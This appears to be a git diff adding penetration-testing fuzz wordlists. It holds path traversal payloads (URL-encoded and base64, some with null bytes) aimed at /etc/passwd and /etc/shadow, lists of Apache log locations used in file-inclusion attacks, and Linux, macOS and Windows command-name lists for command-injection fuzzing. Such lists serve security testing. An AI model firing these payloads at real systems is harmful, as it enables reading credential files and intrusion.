||||
..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
|
||||
..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
|
||||
..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
|
||||
..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
|
||||
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
|
||||
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
|
||||
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
|
||||
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
|
||||
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
|
||||
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
|
||||
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
|
||||
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
|
||||
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
|
||||
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
|
||||
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
|
||||
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
|
||||
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
|
||||
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
|
||||
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
|
||||
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
|
||||
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
|
||||
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
|
||||
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
|
||||
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
|
||||
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
|
||||
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
|
||||
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
|
||||
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
|
||||
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd
|
||||
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd%00
|
||||
..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fshadow%00
|
||||
L2V0Yy9tYXN0ZXIucGFzc3dk
|
||||
L21hc3Rlci5wYXNzd2Q=
|
||||
ZXRjL3Bhc3N3ZA==
|
||||
ZXRjL3NoYWRvdyUwMA==
|
||||
L2V0Yy9wYXNzd2Q=
|
||||
L2V0Yy9wYXNzd2QlMDA=
|
||||
Li4vZXRjL3Bhc3N3ZA==
|
||||
Li4vZXRjL3Bhc3N3ZCUwMA==
|
||||
Li4vLi4vZXRjL3Bhc3N3ZA==
|
||||
Li4vLi4vZXRjL3Bhc3N3ZCUwMA==
|
||||
Li4vLi4vLi4vZXRjL3Bhc3N3ZA==
|
||||
Li4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
|
||||
Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
|
||||
Li4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
|
||||
Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCUwMA==
|
||||
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3NoYWRvdyUwMA==
|
||||
6
attack/lfi/common-ms-httpd-log-locations.txt
Normal file
6
attack/lfi/common-ms-httpd-log-locations.txt
Normal file
|
|
@ -0,0 +1,6 @@
|
|||
\Program Files\Apache Group\Apache\logs\access.log
|
||||
\Program Files\Apache Group\Apache\logs\error.log
|
||||
\Program Files\Apache Group\Apache\conf\httpd.conf
|
||||
\Program Files\Apache Group\Apache2\conf\httpd.conf
|
||||
\Program Files (x86)\Apache Group\Apache\logs\access.log
|
||||
\Program Files (x86)\Apache Group\Apache\logs\error.log
|
||||
30
attack/lfi/common-unix-httpd-log-locations.txt
Normal file
30
attack/lfi/common-unix-httpd-log-locations.txt
Normal file
|
|
@ -0,0 +1,30 @@
|
|||
/apache/logs/error.log
|
||||
/apache/logs/access.log
|
||||
/apache/logs/error.log
|
||||
/apache/logs/access.log
|
||||
/apache/logs/error.log
|
||||
/apache/logs/access.log
|
||||
/etc/httpd/logs/acces_log
|
||||
/etc/httpd/logs/acces.log
|
||||
/etc/httpd/logs/error_log
|
||||
/etc/httpd/logs/error.log
|
||||
/var/www/logs/access_log
|
||||
/var/www/logs/access.log
|
||||
/usr/local/apache/logs/access_log
|
||||
/usr/local/apache/logs/access.log
|
||||
/var/log/apache/access_log
|
||||
/var/log/apache2/access_log
|
||||
/var/log/apache/access.log
|
||||
/var/log/apache2/access.log
|
||||
/var/log/access_log
|
||||
/var/log/access.log
|
||||
/var/www/logs/error_log
|
||||
/var/www/logs/error.log
|
||||
/usr/local/apache/logs/error_log
|
||||
/usr/local/apache/logs/error.log
|
||||
/var/log/apache/error_log
|
||||
/var/log/apache2/error_log
|
||||
/var/log/apache/error.log
|
||||
/var/log/apache2/error.log
|
||||
/var/log/error_log
|
||||
/var/log/error.log
|
||||
571
attack/os-cmd-execution/Commands-Linux.txt
Normal file
571
attack/os-cmd-execution/Commands-Linux.txt
Normal file
|
|
@ -0,0 +1,571 @@
|
|||
accept
|
||||
access
|
||||
aclocal
|
||||
aconnect
|
||||
acpi
|
||||
acpi_available
|
||||
acpid
|
||||
addr2line
|
||||
addresses
|
||||
agetty
|
||||
alsactl
|
||||
amidi
|
||||
amixer
|
||||
anacron
|
||||
aplay
|
||||
aplaymidi
|
||||
apm
|
||||
apmd
|
||||
apropos
|
||||
apt
|
||||
ar
|
||||
arch
|
||||
arecord
|
||||
arecordmidi
|
||||
arp
|
||||
as
|
||||
at
|
||||
atd
|
||||
atq
|
||||
atrm
|
||||
audiosend
|
||||
aumix
|
||||
autoconf
|
||||
autoheader
|
||||
automake
|
||||
autoreconf
|
||||
autoscan
|
||||
autoupdate
|
||||
badblocks
|
||||
banner
|
||||
basename
|
||||
bash
|
||||
batch
|
||||
bc
|
||||
biff
|
||||
bison
|
||||
bzcmp
|
||||
bzdiff
|
||||
bzgrep
|
||||
bzip2
|
||||
bzless
|
||||
bzmore
|
||||
c++
|
||||
cal
|
||||
cardctl
|
||||
cardmgr
|
||||
cat
|
||||
cc
|
||||
cdda2wav
|
||||
cdparanoia
|
||||
cdrdao
|
||||
cdrecord
|
||||
cfdisk
|
||||
c++filt
|
||||
chage
|
||||
chattr
|
||||
chfn
|
||||
chgrp
|
||||
chkconfig
|
||||
chmod
|
||||
chown
|
||||
chpasswd
|
||||
chroot
|
||||
chrt
|
||||
chsh
|
||||
chvt
|
||||
cksum
|
||||
clear
|
||||
cmp
|
||||
col
|
||||
colcrt
|
||||
colrm
|
||||
column
|
||||
comm
|
||||
compress
|
||||
cp
|
||||
cpio
|
||||
cpp
|
||||
crond
|
||||
crontab
|
||||
csplit
|
||||
ctags
|
||||
cupsd
|
||||
cut
|
||||
cvs
|
||||
date
|
||||
dd
|
||||
deallocvt
|
||||
debugfs
|
||||
depmod
|
||||
devdump
|
||||
df
|
||||
diff
|
||||
diff3
|
||||
dig
|
||||
dir
|
||||
dircolors
|
||||
dirname
|
||||
disable
|
||||
dlpsh
|
||||
dmesg
|
||||
dnsdomainname
|
||||
dnssec-keygen
|
||||
dnssec-makekeyset
|
||||
dnssec-signkey
|
||||
dnssec-signzone
|
||||
doexec
|
||||
domainname
|
||||
dosfsck
|
||||
du
|
||||
dump
|
||||
dumpe2fs
|
||||
dumpkeys
|
||||
e2fsck
|
||||
e2image
|
||||
e2label
|
||||
echo
|
||||
edquota
|
||||
egrep
|
||||
eject
|
||||
elvtune
|
||||
emacs
|
||||
enable
|
||||
env
|
||||
envsubst
|
||||
esd
|
||||
esdcat
|
||||
esd-config
|
||||
esdctl
|
||||
esddsp
|
||||
esdmon
|
||||
esdplay
|
||||
esdrec
|
||||
esdsample
|
||||
etags
|
||||
ex
|
||||
expand
|
||||
expr
|
||||
factor
|
||||
false
|
||||
fc-cache
|
||||
fc-list
|
||||
fdformat
|
||||
fdisk
|
||||
fetchmail
|
||||
fgconsole
|
||||
fgrep
|
||||
file
|
||||
find
|
||||
finger
|
||||
fingerd
|
||||
flex
|
||||
fmt
|
||||
fold
|
||||
formail
|
||||
free
|
||||
fsck
|
||||
ftp
|
||||
ftpd
|
||||
fuser
|
||||
g++
|
||||
gawk
|
||||
gcc
|
||||
gdb
|
||||
getent
|
||||
getkeycodes
|
||||
gpasswd
|
||||
gpg
|
||||
gpgsplit
|
||||
gpgv
|
||||
gpm
|
||||
gprof
|
||||
grep
|
||||
groff
|
||||
groffer
|
||||
groupadd
|
||||
groupdel
|
||||
groupmod
|
||||
groups
|
||||
grpck
|
||||
grpconv
|
||||
gs
|
||||
gunzip
|
||||
gzexe
|
||||
gzip
|
||||
halt
|
||||
hdparm
|
||||
head
|
||||
hexdump
|
||||
host
|
||||
hostid
|
||||
hostname
|
||||
htdigest
|
||||
hwclock
|
||||
iconv
|
||||
id
|
||||
ifconfig
|
||||
imapd
|
||||
inetd
|
||||
info
|
||||
init
|
||||
insmod
|
||||
install
|
||||
ipcrm
|
||||
ipcs
|
||||
iptables
|
||||
iptables-restore
|
||||
iptables-save
|
||||
isodump
|
||||
isoinfo
|
||||
isosize
|
||||
isovfy
|
||||
ispell
|
||||
join
|
||||
kbd_mode
|
||||
kbdrate
|
||||
kernelversion
|
||||
kill
|
||||
killall
|
||||
killall5
|
||||
klogd
|
||||
kudzu
|
||||
last
|
||||
lastb
|
||||
lastlog
|
||||
ld
|
||||
ldconfig
|
||||
ldd
|
||||
less
|
||||
lesskey
|
||||
lftp
|
||||
lftpget
|
||||
link
|
||||
ln
|
||||
loadkeys
|
||||
locale
|
||||
locate
|
||||
lockfile
|
||||
logger
|
||||
login
|
||||
logname
|
||||
logrotate
|
||||
look
|
||||
losetup
|
||||
lpadmin
|
||||
lpinfo
|
||||
lpmove
|
||||
lpq
|
||||
lpr
|
||||
lprm
|
||||
lpstat
|
||||
ls
|
||||
lsattr
|
||||
lsmod
|
||||
lspci
|
||||
lsusb
|
||||
m4
|
||||
mail
|
||||
mailq
|
||||
mailstats
|
||||
mailto
|
||||
make
|
||||
makedbm
|
||||
makemap
|
||||
man
|
||||
manpath
|
||||
mattrib
|
||||
mbadblocks
|
||||
mcat
|
||||
mcd
|
||||
mcopy
|
||||
md5sum
|
||||
mdel, mdeltree
|
||||
mdir
|
||||
mdu
|
||||
merge
|
||||
mesg
|
||||
metamail
|
||||
metasend
|
||||
mformat
|
||||
mimencode
|
||||
minfo
|
||||
mkdir
|
||||
mkdosfs
|
||||
mke2fs
|
||||
mkfifo
|
||||
mkfs
|
||||
mkfs.ext3
|
||||
mkisofs
|
||||
mklost+found
|
||||
mkmanifest
|
||||
mknod
|
||||
mkraid
|
||||
mkswap
|
||||
mktemp
|
||||
mlabel
|
||||
mmd
|
||||
mmount
|
||||
mmove
|
||||
modinfo
|
||||
modprobe
|
||||
more
|
||||
mount
|
||||
mountd
|
||||
mpartition
|
||||
mpg123
|
||||
mpg321
|
||||
mrd
|
||||
mren
|
||||
mshowfat
|
||||
mt
|
||||
mtools
|
||||
mtoolstest
|
||||
mtype
|
||||
mv
|
||||
mzip
|
||||
named
|
||||
namei
|
||||
nameif
|
||||
netstat
|
||||
newaliases
|
||||
newgrp
|
||||
newusers
|
||||
nfsd
|
||||
nfsstat
|
||||
nice
|
||||
nm
|
||||
nohup
|
||||
nslookup
|
||||
nsupdate
|
||||
objcopy
|
||||
objdump
|
||||
od
|
||||
openvt
|
||||
passwd
|
||||
paste
|
||||
patch
|
||||
pathchk
|
||||
perl
|
||||
pidof
|
||||
ping
|
||||
pinky
|
||||
pmap
|
||||
portmap
|
||||
poweroff
|
||||
pppd
|
||||
pr
|
||||
praliases
|
||||
printenv
|
||||
printf
|
||||
ps
|
||||
ptx
|
||||
pwck
|
||||
pwconv
|
||||
pwd
|
||||
python
|
||||
quota
|
||||
quotacheck
|
||||
quotaoff
|
||||
quotaon
|
||||
quotastats
|
||||
raidstart
|
||||
ramsize
|
||||
ranlib
|
||||
rarpd
|
||||
rcp
|
||||
rdate
|
||||
rdev
|
||||
rdist
|
||||
rdistd
|
||||
readcd
|
||||
readelf
|
||||
readlink
|
||||
reboot
|
||||
reject
|
||||
rename
|
||||
renice
|
||||
repquota
|
||||
reset
|
||||
resize2fs
|
||||
restore
|
||||
rev
|
||||
rexec
|
||||
rexecd
|
||||
richtext
|
||||
rlogin
|
||||
rlogind
|
||||
rm
|
||||
rmail
|
||||
rmdir
|
||||
rmmod
|
||||
rndc
|
||||
rootflags
|
||||
route
|
||||
routed
|
||||
rpcgen
|
||||
rpcinfo
|
||||
rpm
|
||||
rsh
|
||||
rshd
|
||||
rsync
|
||||
runlevel
|
||||
rup
|
||||
ruptime
|
||||
rusers
|
||||
rusersd
|
||||
rwall
|
||||
rwho
|
||||
rwhod
|
||||
sane-find-scanner
|
||||
scanadf
|
||||
scanimage
|
||||
scp
|
||||
screen
|
||||
script
|
||||
sdiff
|
||||
sed
|
||||
sendmail
|
||||
sensors
|
||||
seq
|
||||
setfdprm
|
||||
setkeycodes
|
||||
setleds
|
||||
setmetamode
|
||||
setquota
|
||||
setsid
|
||||
setterm
|
||||
sftp
|
||||
sh
|
||||
sha1sum
|
||||
showkey
|
||||
showmount
|
||||
shred
|
||||
shutdown
|
||||
size
|
||||
skill
|
||||
slabtop
|
||||
slattach
|
||||
sleep
|
||||
slocate
|
||||
snice
|
||||
sort
|
||||
split
|
||||
ssh
|
||||
ssh-add
|
||||
ssh-agent
|
||||
sshd
|
||||
ssh-keygen
|
||||
ssh-keyscan
|
||||
stat
|
||||
statd
|
||||
strace
|
||||
strfile
|
||||
strings
|
||||
strip
|
||||
stty
|
||||
su
|
||||
sudo
|
||||
sum
|
||||
swapoff
|
||||
swapon
|
||||
sync
|
||||
sysctl
|
||||
sysklogd
|
||||
syslogd
|
||||
tac
|
||||
tail
|
||||
tailf
|
||||
talk
|
||||
talkd
|
||||
tar
|
||||
taskset
|
||||
tcpd
|
||||
tcpdump
|
||||
tcpslice
|
||||
tee
|
||||
telinit
|
||||
telnet
|
||||
telnetd
|
||||
test
|
||||
tftp
|
||||
tftpd
|
||||
time
|
||||
tload
|
||||
tmpwatch
|
||||
top
|
||||
touch
|
||||
tr
|
||||
tracepath
|
||||
traceroute
|
||||
troff
|
||||
true
|
||||
tset
|
||||
tsort
|
||||
tty
|
||||
tune2fs
|
||||
tunelp
|
||||
ul
|
||||
umount
|
||||
uname
|
||||
uncompress
|
||||
unexpand
|
||||
unicode_start
|
||||
unicode_stop
|
||||
uniq
|
||||
uptime
|
||||
useradd
|
||||
userdel
|
||||
usermod
|
||||
users
|
||||
usleep
|
||||
uudecode
|
||||
uuencode
|
||||
uuidgen
|
||||
vdir
|
||||
vi
|
||||
vidmode
|
||||
vim
|
||||
vmstat
|
||||
volname
|
||||
w
|
||||
wall
|
||||
warnquota
|
||||
watch
|
||||
wc
|
||||
wget
|
||||
whatis
|
||||
whereis
|
||||
which
|
||||
who
|
||||
whoami
|
||||
whois
|
||||
write
|
||||
xargs
|
||||
xinetd
|
||||
yacc
|
||||
yes
|
||||
ypbind
|
||||
ypcat
|
||||
ypinit
|
||||
ypmatch
|
||||
yppasswd
|
||||
yppasswdd
|
||||
yppoll
|
||||
yppush
|
||||
ypserv
|
||||
ypset
|
||||
yptest
|
||||
ypwhich
|
||||
ypxfr
|
||||
zcat
|
||||
zcmp
|
||||
zdiff
|
||||
zdump
|
||||
zforce
|
||||
zgrep
|
||||
zic
|
||||
zless
|
||||
zmore
|
||||
znew
|
||||
|
||||
233
attack/os-cmd-execution/Commands-OSX.txt
Normal file
233
attack/os-cmd-execution/Commands-OSX.txt
Normal file
|
|
@ -0,0 +1,233 @@
|
|||
alias
|
||||
alloc
|
||||
apropos
|
||||
awk
|
||||
basename
|
||||
bash
|
||||
bg
|
||||
bind
|
||||
bless
|
||||
break
|
||||
builtin
|
||||
bzip
|
||||
cal
|
||||
caller
|
||||
case
|
||||
cat
|
||||
cd
|
||||
chflags
|
||||
chgrp
|
||||
chmod
|
||||
chown
|
||||
chroot
|
||||
cksum
|
||||
clear
|
||||
cmp
|
||||
comm
|
||||
command
|
||||
complete
|
||||
continue
|
||||
cp
|
||||
cron
|
||||
crontab
|
||||
curl
|
||||
cut
|
||||
date
|
||||
dc
|
||||
dd
|
||||
declare
|
||||
defaults
|
||||
df
|
||||
diff
|
||||
diff3
|
||||
dig
|
||||
dirname
|
||||
dirs
|
||||
diskutil
|
||||
disown
|
||||
ditto
|
||||
dot_clean
|
||||
drutil
|
||||
dscacheutil
|
||||
dscl
|
||||
du
|
||||
echo
|
||||
ed
|
||||
enable
|
||||
env
|
||||
eval
|
||||
exec
|
||||
exit
|
||||
expand
|
||||
expect
|
||||
export
|
||||
expr
|
||||
false
|
||||
fc
|
||||
fdisk
|
||||
fg
|
||||
file
|
||||
find
|
||||
fmt
|
||||
fold
|
||||
for
|
||||
fsck
|
||||
fsaclctl
|
||||
fs_usage
|
||||
ftp
|
||||
GetFileInfo
|
||||
getopt
|
||||
getopts
|
||||
goto
|
||||
grep
|
||||
groups
|
||||
gzip
|
||||
hash
|
||||
head
|
||||
hdiutil
|
||||
history
|
||||
hostname
|
||||
id
|
||||
if
|
||||
info
|
||||
install
|
||||
jobs
|
||||
join
|
||||
kextfind
|
||||
kickstart
|
||||
kill
|
||||
l
|
||||
last
|
||||
launchctl
|
||||
ll
|
||||
less
|
||||
let
|
||||
lipo
|
||||
ln
|
||||
local
|
||||
locate
|
||||
logname
|
||||
login
|
||||
logout
|
||||
lpr
|
||||
lprm
|
||||
lpstat
|
||||
ls
|
||||
lsregister
|
||||
lsbom
|
||||
lsof
|
||||
man
|
||||
mdfind
|
||||
mdutil
|
||||
mkdir
|
||||
mkfifo
|
||||
more
|
||||
mount
|
||||
mv
|
||||
net
|
||||
netstat
|
||||
networksetup
|
||||
nice
|
||||
nohup
|
||||
ntfs.util
|
||||
onintr
|
||||
open
|
||||
opensnoop
|
||||
osacompile
|
||||
osascript
|
||||
passwd
|
||||
paste
|
||||
pbcopy
|
||||
pbpaste
|
||||
pico
|
||||
ping
|
||||
pkgutil
|
||||
plutil
|
||||
pmset
|
||||
popd
|
||||
pr
|
||||
printenv
|
||||
printf
|
||||
ps
|
||||
pushd
|
||||
pwd
|
||||
quota
|
||||
rcp
|
||||
read
|
||||
readonly
|
||||
reboot
|
||||
return
|
||||
rev
|
||||
rm
|
||||
rmdir
|
||||
rpm
|
||||
rsync
|
||||
say
|
||||
screen
|
||||
screencapture
|
||||
sdiff
|
||||
security
|
||||
sed
|
||||
select
|
||||
set
|
||||
setfile
|
||||
shift
|
||||
shopt
|
||||
shutdown
|
||||
sips
|
||||
sleep
|
||||
softwareupdate
|
||||
sort
|
||||
source
|
||||
split
|
||||
stop
|
||||
su
|
||||
sudo
|
||||
sum
|
||||
suspend
|
||||
sw_vers
|
||||
system_profiler
|
||||
systemsetup
|
||||
tail
|
||||
tar
|
||||
tee
|
||||
test
|
||||
textutil
|
||||
time
|
||||
times
|
||||
top
|
||||
touch
|
||||
tr
|
||||
trap
|
||||
traceroute
|
||||
true
|
||||
tty
|
||||
type
|
||||
ufs.util
|
||||
ulimit
|
||||
umask
|
||||
umount
|
||||
unalias
|
||||
uname
|
||||
unexpand
|
||||
uniq
|
||||
units
|
||||
unset
|
||||
until
|
||||
users
|
||||
uuencode
|
||||
uudecode
|
||||
uuidgen
|
||||
uucp
|
||||
vi
|
||||
wait
|
||||
wc
|
||||
whatis
|
||||
where
|
||||
which
|
||||
while
|
||||
who
|
||||
whoami
|
||||
write
|
||||
xargs
|
||||
yes
|
||||
158
attack/os-cmd-execution/Commands-Windows.txt
Normal file
158
attack/os-cmd-execution/Commands-Windows.txt
Normal file
|
|
@ -0,0 +1,158 @@
|
|||
a
|
||||
arp
|
||||
assoc
|
||||
at
|
||||
atmadm
|
||||
attrib
|
||||
bootcfg
|
||||
break
|
||||
cacls
|
||||
call
|
||||
change
|
||||
chcp
|
||||
chdir
|
||||
chkdsk
|
||||
chkntfs
|
||||
cipher
|
||||
cls
|
||||
cmd
|
||||
cmstp
|
||||
color
|
||||
comp
|
||||
compact
|
||||
convert
|
||||
copy
|
||||
cprofile
|
||||
cscript
|
||||
date
|
||||
defrag
|
||||
del
|
||||
dir
|
||||
diskcomp
|
||||
diskcopy
|
||||
diskpart
|
||||
doskey
|
||||
driverquery
|
||||
echo
|
||||
endlocal
|
||||
eventcreate
|
||||
eventquery
|
||||
eventtriggers
|
||||
evntcmd
|
||||
exit
|
||||
expand
|
||||
fc
|
||||
filter
|
||||
find
|
||||
findstr
|
||||
finger
|
||||
flattemp
|
||||
for
|
||||
format
|
||||
fsutil
|
||||
ftp
|
||||
ftype
|
||||
getmac
|
||||
goto
|
||||
gpresult
|
||||
gpupdate
|
||||
graftabl
|
||||
help
|
||||
helpctr
|
||||
hostname
|
||||
if
|
||||
ipconfig
|
||||
ipseccmd
|
||||
ipxroute
|
||||
irftp
|
||||
label
|
||||
lodctr
|
||||
logman
|
||||
lpq
|
||||
lpr
|
||||
macfile
|
||||
mkdir
|
||||
mmc
|
||||
mode
|
||||
more
|
||||
mountvol
|
||||
move
|
||||
msiexec
|
||||
msinfo32
|
||||
nbtstat
|
||||
net
|
||||
netsh
|
||||
netstat
|
||||
nslookup
|
||||
ntbackup
|
||||
ntcmdprompt
|
||||
ntsd
|
||||
openfiles
|
||||
pagefileconfig
|
||||
path
|
||||
pathping
|
||||
pause
|
||||
pbadmin
|
||||
pentnt
|
||||
perfmon
|
||||
ping
|
||||
popd
|
||||
print
|
||||
prncnfg
|
||||
prndrvr
|
||||
prnjobs
|
||||
prnmngr
|
||||
prnport
|
||||
prnqctl
|
||||
prompt
|
||||
pushd
|
||||
query
|
||||
rasdial
|
||||
rcp
|
||||
recover
|
||||
reg
|
||||
regsvr32
|
||||
relog
|
||||
rem
|
||||
rename
|
||||
replace
|
||||
rexec
|
||||
rmdir
|
||||
route
|
||||
rsh
|
||||
rsm
|
||||
runas
|
||||
sc
|
||||
schtasks
|
||||
secedit
|
||||
set
|
||||
setlocal
|
||||
shift
|
||||
shutdown
|
||||
sort
|
||||
start
|
||||
subst
|
||||
systeminfo
|
||||
sfc
|
||||
taskkill
|
||||
tasklist
|
||||
tcmsetup
|
||||
telnet
|
||||
tftp
|
||||
time
|
||||
title
|
||||
tracerpt
|
||||
tracert
|
||||
tree
|
||||
type
|
||||
typeperf
|
||||
unlodctr
|
||||
ver
|
||||
verify
|
||||
vol
|
||||
vssadmin
|
||||
w32tm
|
